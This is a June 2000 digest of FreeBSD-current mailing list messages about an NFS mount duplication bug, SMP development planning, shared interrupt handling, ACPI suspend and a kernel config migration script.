1.0.1i In-Reply-To: <20000621015144.B57917@strontium.scientia.demon.co.uk>; from ben@scientia.demon.co.uk on Wed, Jun 21, 2000 at 01:51:44AM +0100 X-PGP-Fingerprint: 44 28 CA 4C 46 5B D3 A8 A8 E3 BA F3 4E 60 7D 7F X-PGP-at: finger alex@big.endian.de X-Verwirrung: Dieser Header dient der allgemeinen Verwirrung. Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thus spake Ben Smithurst (ben@scientia.demon.co.uk): > > neutron:/usr/home/ncvs 992439 960684 31755 97% /usr= /home/ncvs > > neutron:/usr/home/mp3 9591515 9298876 292639 97% /usr= /home/mp3 > > neutron:/usr/home/brenn 695311 594838 44849 93% /usr= /home/brenn > > neutron:/usr/home/ncvs 992439 960684 31755 97% /usr= /home/ncvs > > neutron:/usr/home/mp3 9591515 9298876 292639 97% /usr= /home/mp3 > > neutron:/usr/home/brenn 695311 594838 44849 93% /usr= /home/brenn > > neutron:/usr/home/ncvs 992439 960684 31755 97% /usr= /home/ncvs > > neutron:/usr/home/mp3 9591515 9298876 292639 97% /usr= /home/mp3 > > neutron:/usr/home/brenn 695311 594838 44849 93% /usr= /home/brenn > > neutron:/usr/home/ncvs 992439 960684 31755 97% /usr= /home/ncvs > > neutron:/usr/home/mp3 9591515 9298876 292639 97% /usr= /home/mp3 > > neutron:/usr/home/brenn 695311 594838 44849 93% /usr= /home/brenn >=20 > You probably have a symlink in the client path somewhere. Is /usr/home > a symlink to /home or something? drwxr-xr-x 7 root wheel 512 6 M=E4r 14:45 /usr/home/ lrwxrwxrwx 1 root wheel 9 27 Feb 20:33 /home@ -> /usr/home However, that is not the point. After having rebootet: Filesystem 1K-blocks Used Avail Capacity Mounted = on /dev/ad2a 396895 289618 75526 79% / /dev/ad2e 5257421 4632631 204197 96% /usr procfs 4 4 0 100% /proc /dev/ad0s1 4224828 3755464 469364 89% /dos neutron:/usr/ports 496367 183788 272870 40% /usr/por= ts neutron:/usr/ports-distfiles 2482878 1191972 1092276 52% /usr/por= ts-distfiles neutron:/usr/home/ncvs 992439 961549 30890 97% /usr/hom= e/ncvs neutron:/usr/src 928695 482050 372350 56% /usr/src neutron:/usr/home/mp3 9591515 9298876 292639 97% /usr/hom= e/mp3 neutron:/usr/home/brenn 695311 594838 44849 93% /usr/hom= e/brenn neutron:/www/docs 297423 168669 104961 62% /www neutron:/usr/doc 2482878 1191972 1092276 52% /usr/doc And now, some mount -a later: root:~ $ mount -a nfs: can't access /var: Permission denied root:~ $ mount -a nfs: can't access /var: Permission denied root:~ $ mount -a nfs: can't access /var: Permission denied Filesystem 1K-blocks Used Avail Capacity Mounted = on /dev/ad2a 396895 289618 75526 79% / /dev/ad2e 5257421 4632631 204197 96% /usr procfs 4 4 0 100% /proc /dev/ad0s1 4224828 3755464 469364 89% /dos neutron:/usr/ports 496367 183788 272870 40% /usr/por= ts neutron:/usr/ports-distfiles 2482878 1191972 1092276 52% /usr/por= ts-distfiles neutron:/usr/home/ncvs 992439 961549 30890 97% /usr/hom= e/ncvs neutron:/usr/src 928695 482050 372350 56% /usr/src neutron:/usr/home/mp3 9591515 9298876 292639 97% /usr/hom= e/mp3 neutron:/usr/home/brenn 695311 594838 44849 93% /usr/hom= e/brenn neutron:/www/docs 297423 168669 104961 62% /www neutron:/usr/doc 2482878 1191972 1092276 52% /usr/doc neutron:/usr/home/ncvs 992439 961549 30890 97% /usr/hom= e/ncvs neutron:/usr/home/mp3 9591515 9298876 292639 97% /usr/hom= e/mp3 neutron:/usr/home/brenn 695311 594838 44849 93% /usr/hom= e/brenn neutron:/usr/home/ncvs 992439 961549 30890 97% /usr/hom= e/ncvs neutron:/usr/home/mp3 9591515 9298876 292639 97% /usr/hom= e/mp3 neutron:/usr/home/brenn 695311 594838 44849 93% /usr/hom= e/brenn neutron:/usr/home/ncvs 992439 961549 30890 97% /usr/hom= e/ncvs neutron:/usr/home/mp3 9591515 9298876 292639 97% /usr/hom= e/mp3 neutron:/usr/home/brenn 695311 594838 44849 93% /usr/hom= e/brenn First of all, I'm going to correct the export problem, which I kept because of this nice bug :) Alex --=20 cat: /home/alex/.sig: No such file or directory To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 0: 9:21 2000 Delivered-To: freebsd-current@freebsd.org Received: from pm241.conference.usenix.org (pm241.conference.usenix.org [209.179.127.241]) by hub.freebsd.org (Postfix) with ESMTP id 9D05C37BEDA; Wed, 21 Jun 2000 00:09:12 -0700 (PDT) (envelope-from asami@cs.berkeley.edu) Received: (from asami@localhost) by pm241.conference.usenix.org (8.9.3/8.8.8) id AAA00836; Wed, 21 Jun 2000 00:09:07 -0700 (PDT) (envelope-from asami) To: Will Andrews Cc: FreeBSD Current , FreeBSD Ports Subject: Re: make.conf fix References: <20000620172502.C34982@argon.gryphonsoft.com> From: asami@FreeBSD.org (Satoshi - Ports Wraith - Asami) Date: 21 Jun 2000 00:09:02 -0700 In-Reply-To: Will Andrews's message of "Tue, 20 Jun 2000 17:25:02 -0400" Message-ID: Lines: 16 X-Mailer: Gnus v5.7/Emacs 20.6 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * From: Will Andrews * Hi -current and -ports, * * I've noticed something that seems to have been broken for a long time. * In etc/defaults/make.conf we have several MASTER_SITE_* variables which * reference "%SUBDIR%". However, these variables do not work as expected. * So we must fix this discrepancy with the following patch. * -#MASTER_SITE_XCONTRIB= ftp://ftp.x.org/contrib/%SUBDIR%/ * +#MASTER_SITE_XCONTRIB= ftp://ftp.x.org/contrib/${MASTER_SITE_SUBDIR}/ Waitaminit. These are correct, please look at bsd.sites.mk. What makes you think they are not working? Satoshi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 1:11:18 2000 Delivered-To: freebsd-current@freebsd.org Received: from magnesium.net (toxic.magnesium.net [207.154.84.15]) by hub.freebsd.org (Postfix) with SMTP id C6EA637BBB4 for ; Wed, 21 Jun 2000 01:11:14 -0700 (PDT) (envelope-from jasone@magnesium.net) Received: (qmail 93473 invoked by uid 1142); 21 Jun 2000 08:11:14 -0000 Date: 21 Jun 2000 01:11:14 -0700 Date: Wed, 21 Jun 2000 00:41:20 -0700 From: Jason Evans To: Poul-Henning Kamp Cc: Jason Evans , current@FreeBSD.ORG Subject: Re: SMP locking primities (was Re: HEADS UP: Destabilization due to SMP development) Message-ID: <20000621004120.G233@blitz.canonware.com> References: <20000619180113.G79318@blitz.canonware.com> <51028.961486917@critter.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <51028.961486917@critter.freebsd.dk>; from phk@critter.freebsd.dk on Tue, Jun 20, 2000 at 09:41:57AM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Jun 20, 2000 at 09:41:57AM +0200, Poul-Henning Kamp wrote: > > Am I the only person who miss a brief document which tells what > the outcome of the meeting was ? I'm at USENIX right now, so I'm a bit strapped for time to work on this. Still, I plan to email a brief summary of the meeting within the next couple of days. It won't include all of the gory details, simply because I don't remember all of them(my notes were mainly for my own benefit, and are of limited usefulness). > Can we get to see the slides ? I have the slides, but need to get them on a web page. This will also happen in the next couple of days. > Audio ? > > Video ? Greg Lehey has a PAL recording of much of the meeting. If you want to get ahold of a copy, talk to him privately to see what arrangements you can make. Jason To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 1:14:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from salmon.maths.tcd.ie (salmon.maths.tcd.ie [134.226.81.11]) by hub.freebsd.org (Postfix) with SMTP id 3C86537BC7A for ; Wed, 21 Jun 2000 01:14:37 -0700 (PDT) (envelope-from dwmalone@maths.tcd.ie) Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id ; 21 Jun 2000 09:14:36 +0100 (BST) Date: Wed, 21 Jun 2000 09:14:35 +0100 From: David Malone To: clefevre@citeweb.net Cc: current@FreeBSD.ORG Subject: Re: mount_nfs/df bug? Message-ID: <20000621091435.A15534@walton.maths.tcd.ie> References: <20000620234825.A31951@cichlids.cichlids.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from clefevre@no-spam.citeweb.net on Wed, Jun 21, 2000 at 02:35:51AM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Jun 21, 2000 at 02:35:51AM +0200, Cyrille Lefevre wrote: > why there isn't an exportfs command as most unices have ? "killall -HUP mountd" or "mount -u /" both work. This is mentioned in the mountd man page, but should probably also be mentioned in the exports man page. David. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 1:54:38 2000 Delivered-To: freebsd-current@freebsd.org Received: from florence.pavilion.net (florence.pavilion.net [212.74.0.25]) by hub.freebsd.org (Postfix) with ESMTP id 170F037BD8B; Wed, 21 Jun 2000 01:54:22 -0700 (PDT) (envelope-from joe@pavilion.net) Received: from genius.systems.pavilion.net (genesis.tao.org.uk [194.242.131.254]) by florence.pavilion.net (8.9.3/8.8.8) with ESMTP id JAA29487; Wed, 21 Jun 2000 09:54:20 +0100 (BST) (envelope-from joe@pavilion.net) Received: by genius.systems.pavilion.net (Postfix, from userid 100) id 98E1812549; Wed, 21 Jun 2000 09:54:54 +0100 (BST) Date: Wed, 21 Jun 2000 09:54:54 +0100 From: Josef Karthauser To: Narvi Cc: Mike Smith , Andrew Reilly , freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: ACPI project progress report Message-ID: <20000621095454.E54877@pavilion.net> Mail-Followup-To: Josef Karthauser , Narvi , Mike Smith , Andrew Reilly , freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG References: <20000620093853.C36774@pavilion.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from narvi@haldjas.folklore.ee on Tue, Jun 20, 2000 at 08:14:41PM +0200 X-NCC-RegID: uk.pavilion Organisation: Pavilion Internet plc, Lees House, 21-23 Dyke Road, Brighton, England Phone: +44-845-333-5000 Fax: +44-845-333-5001 Mobile: +44-403-596893 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Jun 20, 2000 at 08:14:41PM +0200, Narvi wrote: > > You obviously haven't considered the ability to be able to near hot-swap > motherboard and cpu - or even RAM - in this way. > You're right! I hadn't! (Although I've dreamed about it a few times). Joe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 2:40:22 2000 Delivered-To: freebsd-current@freebsd.org Received: from finch-post-12.mail.demon.net (finch-post-12.mail.demon.net [194.217.242.41]) by hub.freebsd.org (Postfix) with ESMTP id EEFC237BA70 for ; Wed, 21 Jun 2000 02:40:16 -0700 (PDT) (envelope-from n_hibma@qubesoft.com) Received: from calcaphon.demon.co.uk ([193.237.19.5] helo=bluebottle.qubesoft.com) by finch-post-12.mail.demon.net with esmtp (Exim 2.12 #1) id 134gzT-0004Zs-0C; Wed, 21 Jun 2000 09:40:12 +0000 Received: from henny.webweaving.org (henny.qubesoft.com [192.168.1.5]) by bluebottle.qubesoft.com (8.9.3/8.9.1) with ESMTP id KAA43125; Wed, 21 Jun 2000 10:40:46 +0100 (BST) (envelope-from n_hibma@qubesoft.com) Received: from localhost (localhost [127.0.0.1]) by henny.webweaving.org (8.9.3/8.9.3) with ESMTP id AAA34186; Wed, 21 Jun 2000 00:40:31 +0100 (BST) (envelope-from n_hibma@qubesoft.com) Date: Wed, 21 Jun 2000 00:40:31 +0100 (BST) From: Nick Hibma X-Sender: n_hibma@localhost Reply-To: Nick Hibma To: dillon@apollo.backplane.com Cc: FreeBSD CURRENT Mailing List Subject: irunning, width in bits. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG What about shared interrupts? How are they going to be treated? With the spl leaving the arena it somehow looks feasible to run one interrupt source on two different threads if there are two pieces of hardware attached to the same interrupt line. From what I understood from dfr, when switching away from an interrupt handler it is converted into a full thread. When the second piece of hardware fires an interrupt it could then run at the same time. Nick -- n_hibma@webweaving.org n_hibma@freebsd.org USB project http://www.etla.net/~n_hibma/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 2:40:30 2000 Delivered-To: freebsd-current@freebsd.org Received: from anchor-post-32.mail.demon.net (anchor-post-32.mail.demon.net [194.217.242.90]) by hub.freebsd.org (Postfix) with ESMTP id 7C34737BD79 for ; Wed, 21 Jun 2000 02:40:24 -0700 (PDT) (envelope-from n_hibma@qubesoft.com) Received: from calcaphon.demon.co.uk ([193.237.19.5] helo=bluebottle.qubesoft.com) by anchor-post-32.mail.demon.net with esmtp (Exim 2.12 #1) id 134gzd-000CZx-0W; Wed, 21 Jun 2000 10:40:22 +0100 Received: from henny.webweaving.org (henny.qubesoft.com [192.168.1.5]) by bluebottle.qubesoft.com (8.9.3/8.9.1) with ESMTP id KAA43146; Wed, 21 Jun 2000 10:40:58 +0100 (BST) (envelope-from n_hibma@qubesoft.com) Received: from localhost (localhost [127.0.0.1]) by henny.webweaving.org (8.9.3/8.9.3) with ESMTP id XAA34127; Tue, 20 Jun 2000 23:42:55 +0100 (BST) (envelope-from n_hibma@qubesoft.com) Date: Tue, 20 Jun 2000 23:42:54 +0100 (BST) From: Nick Hibma X-Sender: n_hibma@localhost Reply-To: Nick Hibma To: Poul-Henning Kamp Cc: Brian Somers , FreeBSD CURRENT Mailing List Subject: Re: HEADS UP: Destabilization due to SMP development In-Reply-To: <55764.961533464@critter.freebsd.dk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG More over, unlike other big project like CAM, this baby is going to touch the gut of the OS. It might be possible however for individual projects to move into a separate branch. Nick > >What about doing the changes on a branch with the understanding that > >the branch will *replace* HEAD when it stabilises ? > > "CVS branches suck" is the reason I belive. > > -- > Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 > phk@FreeBSD.ORG | TCP/IP since RFC 956 > FreeBSD coreteam member | BSD since 4.3-tahoe > Never attribute to malice what can adequately be explained by incompetence. > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > > -- n_hibma@webweaving.org n_hibma@freebsd.org USB project http://www.etla.net/~n_hibma/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 2:40:34 2000 Delivered-To: freebsd-current@freebsd.org Received: from anchor-post-32.mail.demon.net (anchor-post-32.mail.demon.net [194.217.242.90]) by hub.freebsd.org (Postfix) with ESMTP id E3C9037C20E for ; Wed, 21 Jun 2000 02:40:27 -0700 (PDT) (envelope-from n_hibma@qubesoft.com) Received: from calcaphon.demon.co.uk ([193.237.19.5] helo=bluebottle.qubesoft.com) by anchor-post-32.mail.demon.net with esmtp (Exim 2.12 #1) id 134gze-000CZy-0W; Wed, 21 Jun 2000 10:40:23 +0100 Received: from henny.webweaving.org (henny.qubesoft.com [192.168.1.5]) by bluebottle.qubesoft.com (8.9.3/8.9.1) with ESMTP id KAA43149; Wed, 21 Jun 2000 10:40:58 +0100 (BST) (envelope-from n_hibma@qubesoft.com) Received: from localhost (localhost [127.0.0.1]) by henny.webweaving.org (8.9.3/8.9.3) with ESMTP id XAA34135; Tue, 20 Jun 2000 23:51:17 +0100 (BST) (envelope-from n_hibma@qubesoft.com) Date: Tue, 20 Jun 2000 23:51:17 +0100 (BST) From: Nick Hibma X-Sender: n_hibma@localhost Reply-To: Nick Hibma To: Warner Losh Cc: Matthew Dillon , Jason Evans , current@FreeBSD.org Subject: Re: HEADS UP: Destabilization due to SMP development In-Reply-To: <200006201927.NAA71421@harmony.village.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG CAM is not a valid example. It only touched the disk subsystem. Merging back changes in blocks might not be possible. As Matthew mentioned, Chuck's experience should be taken for a fact. And bounding the amount of breakage is almost impossible without squeezing the people doing the SMP work really badly. I don't think that that is reasonable. Nick > One could argue that you could merge the changes to FreeBSD 5.X on a > daily or weekly basis to that branch so that the branch doesn't get > too far out of what. Perforce users do this all the time (cf the cam > project). The model that I see is that a branch is created for SMP > work, and that you find a volunteer who has access to SMP machines who > will merge from current into the SMP branch once a week and boot the > resulting kernel. If it works, he commits it, otherwise he resovles > the problems. That way the main developers aren't significantly > impacted by the merging. > > I'd be a lot happier if there was an upper bound on the length of time > that -current would be unstable, if there was a plan in place on what > to do if that timelimit was exceeded, if there was a roadmap I could > look at, etc. Right now the vagueness of it all pushes my panic > button. I'm trying to get more information so that I know if I should > just calm down and it won't be that bad, or if I should pitch a huge > fit because it will be too painful to make progress on any other > front. Please help me with that. > > I'd also be happy if I could create a newcard branch off the last > stable version of freebsd 5.0-current. That way I could continue my > work with others and the instability wouldn't matter. All merging, if > any, would be my responsibility. I don't know what the level of pain > > Of course the same arugment about merging you make could be made for > new kernel work. They will either have to live with the pain (which > is currently ill-defined at best, knowing what the pain would be would > help my confort level), or do their work and then redo it on the new > and improved FreeBSD months later. Why should SMP force others to do > that? > > Warner > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > -- n_hibma@webweaving.org n_hibma@freebsd.org USB project http://www.etla.net/~n_hibma/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 3:47:59 2000 Delivered-To: freebsd-current@freebsd.org Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by hub.freebsd.org (Postfix) with ESMTP id 40C5F37BB81 for ; Wed, 21 Jun 2000 03:47:53 -0700 (PDT) (envelope-from narvi@haldjas.folklore.ee) Received: from localhost (narvi@localhost) by haldjas.folklore.ee (8.9.3/8.9.3) with SMTP id MAA91783; Wed, 21 Jun 2000 12:45:24 +0200 (EET) (envelope-from narvi@haldjas.folklore.ee) Date: Wed, 21 Jun 2000 12:45:24 +0200 (EET) From: Narvi To: Warner Losh Cc: freebsd-current@FreeBSD.ORG Subject: Re: ACPI project progress report In-Reply-To: <200006202247.QAA75403@harmony.village.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 20 Jun 2000, Warner Losh wrote: > In message Narvi writes: > : You obviously haven't considered the ability to be able to near hot-swap > : motherboard and cpu - or even RAM - in this way. > > The ACPI spec specifically states that one cannot disassemble a > machine in S4 state and expect the state to be saved on reassembly. > Maybe the same sort of mechanism could be used to do this, but then > again, maybe night. > At any rate, being able to save and then restore the state would be the needed inital step in reassembly related state saves/recoveres. > Warner > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 5: 3:20 2000 Delivered-To: freebsd-current@freebsd.org Received: from scientia.demon.co.uk (scientia.demon.co.uk [212.228.14.13]) by hub.freebsd.org (Postfix) with ESMTP id 0422537BE3F for ; Wed, 21 Jun 2000 05:03:04 -0700 (PDT) (envelope-from ben@scientia.demon.co.uk) Received: from strontium.scientia.demon.co.uk ([192.168.91.36] ident=exim) by scientia.demon.co.uk with esmtp (Exim 3.12 #2) id 134jDI-0008M4-00 for current@freebsd.org; Wed, 21 Jun 2000 13:02:36 +0100 Received: from ben by strontium.scientia.demon.co.uk with local (Exim 3.12 #5) id 134jDI-000Pwo-00 for current@freebsd.org; Wed, 21 Jun 2000 13:02:36 +0100 Date: Wed, 21 Jun 2000 13:02:35 +0100 From: Ben Smithurst To: current@freebsd.org Subject: Re: mount_nfs/df bug? Message-ID: <20000621130235.C57917@strontium.scientia.demon.co.uk> References: <20000620234825.A31951@cichlids.cichlids.com> <20000621015144.B57917@strontium.scientia.demon.co.uk> <20000621084849.C1165@cichlids.cichlids.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="WplhKdTI2c8ulnbP" Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20000621084849.C1165@cichlids.cichlids.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --WplhKdTI2c8ulnbP Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Alexander Langer wrote: >> You probably have a symlink in the client path somewhere. Is /usr/home >> a symlink to /home or something? >=20 > drwxr-xr-x 7 root wheel 512 6 M=E4r 14:45 /usr/home/ > lrwxrwxrwx 1 root wheel 9 27 Feb 20:33 /home@ -> /usr/home ok, that's not it, the /home symlink shouldn't matter... Or are any of the affected directories (brenn, mp3, ncvs) symlinks? Or maybe your /etc/fstab lists /home/foo instead of /usr/home/foo? > However, that is not the point. Well, if symlinks are involved I think this is a known bug. Would you care to fix it? :-) Whether it's a bug in the mount(8) program, the mount(2) syscall, or somewhere deeper, I don't know. --=20 Ben Smithurst / ben@scientia.demon.co.uk / PGP: 0x99392F7D --WplhKdTI2c8ulnbP Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use MessageID: jh2P0PmZ7nWiV+g7NQ0qby3hwjRRV2Qm iQCVAwUBOVCu2ysPVtiZOS99AQFjdQP/TgtnaLwOMV1jPRYYECbp0F7LFS2c7bd9 M6WfBrTfrATJ8HrzppIYhAbbmvnM/4jx2Fqbjenn8GBRws7zdI4gvJfyZhMRLoom t9sebV9I7MsmVh8f360OPE5urqu3OsoSd03I3kvWLM4FiF4r6Rrbc2PR/yJv7hMr g4voNK9fMqQ= =EdqV -----END PGP SIGNATURE----- --WplhKdTI2c8ulnbP-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 6:58: 4 2000 Delivered-To: freebsd-current@freebsd.org Received: from baynet.baynetworks.com (ns1.BayNetworks.COM [134.177.3.20]) by hub.freebsd.org (Postfix) with ESMTP id 5649937B9CE for ; Wed, 21 Jun 2000 06:58:02 -0700 (PDT) (envelope-from bwithrow@BayNetworks.COM) Received: from mailhost.BayNetworks.COM (h016b.s86b1.BayNetworks.COM [134.177.1.107]) by baynet.baynetworks.com (8.9.1/8.9.1) with ESMTP id GAA18756; Wed, 21 Jun 2000 06:48:01 -0700 (PDT) Received: from pobox.engeast.BayNetworks.COM (pobox.engeast.baynetworks.com [192.32.61.6]) by mailhost.BayNetworks.COM (8.9.1/8.8.8) with ESMTP id GAA14016; Wed, 21 Jun 2000 06:47:54 -0700 (PDT) Received: from baynetworks.com (kyzyl [192.32.150.103]) by pobox.engeast.BayNetworks.COM (SMI-8.6/BNET-97/04/24-S) with ESMTP id JAA02411; Wed, 21 Jun 2000 09:49:27 -0400 for Message-Id: <200006211349.JAA02411@pobox.engeast.BayNetworks.COM> X-Mailer: exmh version 2.1.1 10/15/1999 To: Poul-Henning Kamp Cc: Brian Somers , Matthew Dillon , Warner Losh , Jason Evans , current@FreeBSD.ORG, brian@hak.lan.Awfulhak.org Subject: Re: HEADS UP: Destabilization due to SMP development In-Reply-To: Message from Poul-Henning Kamp of "Tue, 20 Jun 2000 22:37:44 +0200." <55764.961533464@critter.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 21 Jun 2000 09:49:27 -0400 From: Robert Withrow Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG phk@critter.freebsd.dk said: :- "CVS branches suck" is the reason I belive. Bitkeeper? -- Robert Withrow -- (+1 978 288 8256) BWithrow@BayNetworks.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 8:39:20 2000 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 5047A37C134; Wed, 21 Jun 2000 08:39:13 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id IAA94918; Wed, 21 Jun 2000 08:39:02 -0700 (PDT) (envelope-from dillon) Date: Wed, 21 Jun 2000 08:39:02 -0700 (PDT) From: Matthew Dillon Message-Id: <200006211539.IAA94918@apollo.backplane.com> To: Nick Hibma Cc: freebsd-smp@freebsd.org Subject: Re: irunning, width in bits. References: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG (Moving this to freebsd-smp, Bcc'ing current) :What about shared interrupts? How are they going to be treated? With the :spl leaving the arena it somehow looks feasible to run one interrupt :source on two different threads if there are two pieces of hardware :attached to the same interrupt line. : :>From what I understood from dfr, when switching away from an interrupt :handler it is converted into a full thread. When the second piece of :hardware fires an interrupt it could then run at the same time. : :Nick :-- :n_hibma@webweaving.org This came up at the meeting and the conclusion was that shared interrupts would run serially. That is, each 'bit' in the cpl (spl*(), also represented by ipending, the vector table dispatch, and so forth) would be treated as a single interrupt thread. If there are N interrupts hanging off that IRQ, then each of the N would be run serially from a single interrupt thread. This also came up a few months ago, you can probably find the discussion in the archives. What it comes down to is complexity and convenience. In almost all systems it is possible to rearrange the PCI boards such that you do not have two critical interrupts on the same IRQ. We are not precluding being able to schedule shared interrupts separately, but if we are going to do it it will probably be much later when things are more stable and not now. The KISS principle applies here. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 8:45: 9 2000 Delivered-To: freebsd-current@freebsd.org Received: from builder.FreeBSD.ORG (builder.FreeBSD.ORG [204.216.27.24]) by hub.freebsd.org (Postfix) with ESMTP id 02A1337BEB3 for ; Wed, 21 Jun 2000 08:45:07 -0700 (PDT) (envelope-from green@FreeBSD.org) Date: Wed, 21 Jun 2000 08:47:24 -0700 (PDT) From: Brian Fundakowski Feldman To: current@FreeBSD.org Subject: kernel config format migration script Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I made a sed script to ease migration of kernel configuration files from the few-weeks-ago-CURRENT to current-CURRENT, and thought I might as well share it since it makes things easy (autonomous :) You can find it at http://people.freebsd.org/~green/oldconfig2new It requires extended regular expression support (because old regexps are so cumbersome to actually _use_), so for example: mv GREEN GREEN.old perl gethints.pl GREEN sed -Ef oldconfig2new GREEN.old > GREEN Hope it saves some people time! :) -- Brian Fundakowski Feldman / "Any sufficiently advanced bug is \ green@FreeBSD.org | indistinguishable from a feature." | FreeBSD: The Power to Serve! \ -- Rich Kulawiec / To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 9: 5:21 2000 Delivered-To: freebsd-current@freebsd.org Received: from sydney.worldwide.lemis.com (dhcp110.conference.usenix.org [209.179.127.110]) by hub.freebsd.org (Postfix) with ESMTP id 3172137B887 for ; Wed, 21 Jun 2000 09:05:14 -0700 (PDT) (envelope-from grog@sydney.worldwide.lemis.com) Received: (from grog@localhost) by sydney.worldwide.lemis.com (8.9.3/8.9.3) id XAA00449; Tue, 20 Jun 2000 23:36:05 -0700 (PDT) (envelope-from grog) Date: Tue, 20 Jun 2000 23:36:05 -0700 From: Greg Lehey To: Poul-Henning Kamp Cc: Jason Evans , Matthew Dillon , current@FreeBSD.ORG Subject: Re: SMP locking primities (was Re: HEADS UP: Destabilization due to SMP development) Message-ID: <20000620233605.C308@sydney.worldwide.lemis.com> References: <20000619180113.G79318@blitz.canonware.com> <51028.961486917@critter.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <51028.961486917@critter.freebsd.dk> Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tuesday, 20 June 2000 at 9:41:57 +0200, Poul-Henning Kamp wrote: > > Am I the only person who miss a brief document which tells what > the outcome of the meeting was ? I'm writing up a detailed trip report for my company. I can't see why I shouldn't forward it to the SMP list as well, but I suppose I should check. > Can we get to see the slides ? Chuck Patterson has some. I'm sure we could get him to send the .pdf's. > Audio ? No. > Video ? Very patchy. I started taping about 3 hours into the meeting, and since I had better things to do than be cameraman, from time to time we ran out of tape. I'll make copies when I get back home. On the positive side, it's PAL. But Apple has promised to make an NTSC conversion. 